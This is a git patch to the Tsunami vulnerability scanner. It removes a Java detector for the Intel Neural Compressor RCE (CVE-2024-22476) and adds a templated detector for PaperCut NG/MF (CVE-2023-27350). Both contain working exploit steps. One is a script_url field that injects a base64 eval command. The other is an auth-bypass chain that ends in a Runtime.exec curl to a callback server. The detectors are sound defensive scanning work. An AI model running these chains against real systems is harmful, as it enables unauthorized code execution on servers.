From 1d13c5503d36fcb59c812ad9682de75d30d1bc3e Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Wed, 20 May 2026 09:39:26 -0400 Subject: [PATCH 1/5] converted papercutngmf-cve-2023-27350 to templated --- .../README.md | 20 -- .../build.gradle | 40 --- .../settings.gradle | 21 -- .../Cve202422476DetectorBootstrapModule.java | 27 -- .../Cve202422476VulnDetector.java | 215 ------------ .../cves/cve202422476/task_request.json | 10 - .../Cve202422476VulnDetectorTest.java | 158 --------- .../PapercutNgMf_CVE_2023_27350.textproto | 320 ++++++++++++++++++ ...PapercutNgMf_CVE_2023_27350_test.textproto | 156 +++++++++ 9 files changed, 476 insertions(+), 491 deletions(-) delete mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/README.md delete mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/build.gradle delete mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/settings.gradle delete mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476DetectorBootstrapModule.java delete mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java delete mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/src/main/resources/com/google/tsunami/plugins/detectors/cves/cve202422476/task_request.json delete mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java create mode 100644 templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto create mode 100644 templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/README.md b/community/detectors/intel_neural_compressor_cve_2024_22476/README.md deleted file mode 100644 index 154f94d80..000000000 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/README.md +++ /dev/null @@ -1,20 +0,0 @@ -# Intel(R) Neural Compressor CVE-2024-22476 Detector - -This detector checks for Intel(R) Neural Compressor CVE-2024-22476 -Unauthenticated Remote Code Execution (CVE-2024-22476). Improper input -validation in some Intel(R) Neural Compressor software before version 2.5.0 may -allow an unauthenticated user to potentially enable escalation of privilege via -remote access. - -- https://huntr.com/bounties/877a517f-76ec-45be-8d3b-2b5ac471bfeb -- https://vulners.com/cvelist/CVELIST:CVE-2024-22476 - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/build.gradle b/community/detectors/intel_neural_compressor_cve_2024_22476/build.gradle deleted file mode 100644 index 100b498c0..000000000 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/build.gradle +++ /dev/null @@ -1,40 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami CVE-2024-22476 VulnDetector plugin.' -group 'com.google.tsunami' -version '0.0.1-SNAPSHOT' - - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" -} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/settings.gradle b/community/detectors/intel_neural_compressor_cve_2024_22476/settings.gradle deleted file mode 100644 index 78c58d643..000000000 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/settings.gradle +++ /dev/null @@ -1,21 +0,0 @@ -/* - * This file was generated by the Gradle 'init' task. - * - * The settings file is used to specify which projects to include in your build. - * - * Detailed information about configuring a multi-project build in Gradle can be found - * in the user manual at https://docs.gradle.org/6.5/userguide/multi_project_builds.html - */ - -rootProject.name = 'CVE-2024-22476' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476DetectorBootstrapModule.java b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476DetectorBootstrapModule.java deleted file mode 100644 index ead69a8ed..000000000 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476DetectorBootstrapModule.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202422476; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** An CVE-2024-22476 Guice module that bootstraps the {@link Cve202422476VulnDetector}. */ -public class Cve202422476DetectorBootstrapModule extends PluginBootstrapModule { - @Override - protected void configurePlugin() { - registerPlugin(Cve202422476VulnDetector.class); - } -} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java deleted file mode 100644 index 406d9c80a..000000000 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java +++ /dev/null @@ -1,215 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202422476; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.net.http.HttpRequest.post; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.io.BaseEncoding; -import com.google.common.io.Resources; -import com.google.common.util.concurrent.Uninterruptibles; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpRequest; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.ForWebService; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Duration; -import java.time.Instant; -import javax.inject.Inject; - -/** A {@link VulnDetector} that detects the CVE-2024-22476 vulnerability. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "CVE-2024-22476 Detector", - version = "0.1", - description = "Checks for occurrences of CVE-2024-22476 in Intel Neural Compressor instances.", - author = "frkngksl", - bootstrapModule = Cve202422476DetectorBootstrapModule.class) -@ForWebService -public final class Cve202422476VulnDetector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final Clock utcClock; - private final PayloadGenerator payloadGenerator; - - private static final String VUL_PATH = "task/submit/"; - private static final Duration BATCH_REQUEST_WAIT_AFTER_TIMEOUT = Duration.ofSeconds(10); - private final String taskRequestTemplate; - private final HttpClient httpClient; - - @Inject - Cve202422476VulnDetector( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) - throws IOException { - this.utcClock = checkNotNull(utcClock); - this.httpClient = - checkNotNull(httpClient, "HttpClient cannot be null.") - .modify() - .setFollowRedirects(false) - .build(); - this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null."); - taskRequestTemplate = - Resources.toString(Resources.getResource(this.getClass(), "task_request.json"), UTF_8); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(this::isWebServiceOrUnknownService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2024_22476")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-22476")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2024-22476 Intel Neural Compressor RCE") - .setDescription( - "The Intel Neural Compressor has a component called Neural Solution that brings" - + " the capabilities of Intel Neural Compressor as a service. The" - + " task/submit API in the Neural Solution webserver is vulnerable to an" - + " unauthenticated remote code execution (RCE) attack. The" - + " script_urlparameter in the body of the POST request for this API is not" - + " validated or filtered on the backend. As a result, attackers can" - + " manipulate this parameter to remotely execute arbitrary commands.") - .setRecommendation( - "You can upgrade your Intel Neural Compressor instances to 2.5.0 or later.") - .build()); - } - - private boolean checkNeuralSolutionFingerprint(NetworkService networkService) { - String targetWebAddress = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - var request = HttpRequest.get(targetWebAddress).withEmptyHeaders().build(); - - try { - HttpResponse response = httpClient.send(request, networkService); - return response.status().isSuccess() - && response - .bodyString() - .map(body -> body.contains("{\"message\":\"Welcome to Neural Solution!\"}")) - .orElse(false); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to send request."); - return false; - } - } - - private boolean isWebServiceOrUnknownService(NetworkService networkService) { - return NetworkServiceUtils.isWebService(networkService) - && checkNeuralSolutionFingerprint(networkService); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - Payload payload = generateCallbackServerPayload(); - if (!payload.getPayloadAttributes().getUsesCallbackServer()) { - logger.atInfo().log( - "The Tsunami callback server is not setup for this environment, so we cannot confirm the" - + " RCE callback"); - return false; - } - String taskRequestBody = taskRequestTemplate; - // Check callback server is enabled - logger.atInfo().log("Callback server is available!"); - taskRequestBody = - taskRequestBody.replace( - "{{CALLBACK_PAYLOAD}}", - BaseEncoding.base64().encode(payload.getPayload().getBytes(UTF_8))); - String targetVulnerabilityUrl = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH; - logger.atInfo().log("Payload: %s", payload.getPayload().getBytes(UTF_8)); - try { - HttpResponse httpResponse = - httpClient.send( - post(targetVulnerabilityUrl) - .setHeaders( - HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8(taskRequestBody)) - .build(), - networkService); - logger.atInfo().log("Callback Server Payload Response: %s", httpResponse.bodyString().get()); - Uninterruptibles.sleepUninterruptibly(BATCH_REQUEST_WAIT_AFTER_TIMEOUT); - return payload.checkIfExecuted(); - - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to send request."); - return false; - } - } - - private Payload generateCallbackServerPayload() { - PayloadGeneratorConfig config = - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build(); - - return this.payloadGenerator.generate(config); - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/resources/com/google/tsunami/plugins/detectors/cves/cve202422476/task_request.json b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/resources/com/google/tsunami/plugins/detectors/cves/cve202422476/task_request.json deleted file mode 100644 index 0eb8db38e..000000000 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/resources/com/google/tsunami/plugins/detectors/cves/cve202422476/task_request.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification & eval \"$(echo {{CALLBACK_PAYLOAD}} | base64 --decode)\"", - "optimized": "False", - "arguments": [ - "--model_name_or_path bert-base-cased --task_name mrpc --do_eval --output_dir result" - ], - "approach": "static", - "requirements": [], - "workers": 1 -} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java b/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java deleted file mode 100644 index 04727527e..000000000 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java +++ /dev/null @@ -1,158 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202422476; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.Dispatcher; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link Cve202422476VulnDetector}. */ -@RunWith(JUnit4.class) -public class Cve202422476VulnDetectorTest { - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2022-05-23T00:00:00.00Z")); - private MockWebServer mockWebServer; - private MockWebServer mockCallbackServer; - private NetworkService targetNetworkService; - private TargetInfo targetInfo; - - @Inject private Cve202422476VulnDetector detector; - - @Before - public void setUp() throws IOException { - mockWebServer = new MockWebServer(); - mockCallbackServer = new MockWebServer(); - mockCallbackServer.start(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), - new Cve202422476DetectorBootstrapModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - mockCallbackServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() throws IOException { - // It is a blind RCE, body is not important. This is a part of a valid response. - startMockWebServer(true); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(targetNetworkService) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build()); - assertThat(mockWebServer.getRequestCount()).isEqualTo(2); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); - } - - @Test - public void detect_ifNotVulnerable_doesNotReportVuln() throws IOException { - startMockWebServer(false); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - assertThat(mockWebServer.getRequestCount()).isEqualTo(2); - } - - private void startMockWebServer(boolean isVulnerableServer) throws IOException { - final Dispatcher dispatcher = - new Dispatcher() { - - @Override - public MockResponse dispatch(RecordedRequest request) { - switch (request.getPath()) { - case "/": - return new MockResponse() - .setResponseCode(200) - .setBody("{\"message\":\"Welcome to Neural Solution!\"}"); - case "/task/submit/": - if (isVulnerableServer) { - return new MockResponse() - .setResponseCode(200) - .setBody( - "{\"status\":\"successfully\",\"task_id\":\"065d95dd70524cb2baa743def3ff7036\",\"msg\":\"Task" - + " submitted successfully\"}"); - } else { - return new MockResponse() - .setResponseCode(422) - .setBody("{\"detail\":\"Invalid task\"}"); - } - default: - return new MockResponse() - .setResponseCode(404) - .setBody("{\"detail\":\"Not Found\"}"); - } - } - }; - mockWebServer.setDispatcher(dispatcher); - mockWebServer.start(); - mockWebServer.url("/"); - targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .addSupportedHttpMethods("POST") - .addSupportedHttpMethods("GET") - .build(); - targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - } -} diff --git a/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto new file mode 100644 index 000000000..198e5789c --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto @@ -0,0 +1,320 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "PapercutNgMf_CVE_2023_27350" + author: + "Robert Dick (robert@doyensec.com) for the Templated version, " + "Isaac_GC (isaac@nu-that.us) for the original Java version" + version: "2.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE_2023_27350" + } + title: "Papercut NG/MF Authentication Bypass and RCE" + description: + "This vulnerability allows remote attackers to bypass authentication" + " on affected installations of PaperCut NG/MF." + " Authentication is not required to exploit this vulnerability." + " The specific flaw exists within the SetupCompleted class and the" + " issue results from improper access control." + " An attacker can leverage this vulnerability to bypass authentication" + " and execute arbitrary code in the context of SYSTEM (Windows) " + "or Root/Papercut User (Linux)." + recommendation: + "Update to versions that are at least 20.1.7, 21.2.11, 22.0.9, or any later" + " version." + severity: CRITICAL + related_id: { + publisher: "CVE" + value: "CVE-2023-27350" + } +} + +########### +# ACTIONS # +########### + +actions: { + name: "fingerprint_papercut" + http_request: { + method: GET + uri: "/app?service=page/SetupCompleted" + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: "Configuration Wizard : Setup Complete" } + } + extract_any: { + patterns: [ + { + from_header: { name: "Set-Cookie" } + regexp: "JSESSIONID=([a-zA-Z0-9.]+);" + variable_name: "COOKIE" + } + ] + } + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "complete_setup" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/SetupCompleted/$Form&sp=S0&Form0=$Hidden,analyticsEnabled,$Submit&$Hidden=true&$Submit=Login" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + extract_any: { + patterns: [ + { + from_header: { name: "Set-Cookie" } + regexp: "JSESSIONID=([a-zA-Z0-9.]+);" + variable_name: "COOKIE" + } + ] + } + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "nav_settings_1" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/ConfigEditor/quickFindForm&sp=S0&Form0=$TextField,doQuickFind,clear&$TextField=print-and-device.script.enable&doQuickFind=Go" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + http_status: 200 + extract_any: { + patterns: [ + { + from_header: { name: "Set-Cookie" } + regexp: "JSESSIONID=([a-zA-Z0-9.]+);" + variable_name: "COOKIE" + } + ] + } + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "update_settings_1" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/ConfigEditor/$Form&sp=S1&Form1=$TextField$0,$Submit,$Submit$0&$TextField$0=Y&$Submit=Update" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + http_status: 200 + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "nav_settings_2" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/ConfigEditor/quickFindForm&sp=S0&Form0=$TextField,doQuickFind,clear&$TextField=print.script.sandboxed&doQuickFind=Go" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + http_status: 200 + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "update_settings_2" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/ConfigEditor/$Form&sp=S1&Form1=$TextField$0,$Submit,$Submit$0&$TextField$0=N&$Submit=Update" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + http_status: 200 + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "nav_printers" + http_request: { + method: GET + uri: "/app?service=page/PrinterList" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + client_options: { + disable_follow_redirects: true + } + response: { + http_status: 200 + } + } +} + +actions: { + name: "nav_first_printer" + http_request: { + method: GET + uri: "/app?service=direct/1/PrinterList/selectPrinter&sp=l1001" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + http_status: 200 + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "nav_scripting_tab" + http_request: { + method: GET + uri: "/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "execute_script" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/PrinterDetails/$PrinterDetailsScript.$Form&sp=S0&Form0=printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1&printerId=l1001&enablePrintScript=on&scriptBody=function printJobHook(inputs, actions) {}\r\njava.lang.Runtime.getRuntime().exec('curl {{ T_CBS_URI }}');&$Submit$1=Apply" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +############# +# WORKFLOWS # +############# + #"complete_setup", + #"nav_settings_1", + #"update_settings_1", + #"nav_settings_2", + #"update_settings_2", + #"nav_printers", + #"nav_first_printer", + #"nav_scripting_tab", + #"execute_script", + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "fingerprint_papercut", + "complete_setup", + "nav_settings_1", + "update_settings_1", + "nav_settings_2", + "update_settings_2", + "nav_printers", + "nav_first_printer", + "nav_scripting_tab", + "execute_script", + "sleep", + "check_callback_server_logs" + ] +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto new file mode 100644 index 000000000..d3f610d43 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto @@ -0,0 +1,156 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "PapercutNgMf_CVE_2023_27350" +} + +tests: { + name: "whenVuln_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/app?service=page/SetupCompleted" + status: 200 + body_content: "... Configuration Wizard : Setup Complete ..." + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=page/PrinterList" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterList/selectPrinter&sp=l1001" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: 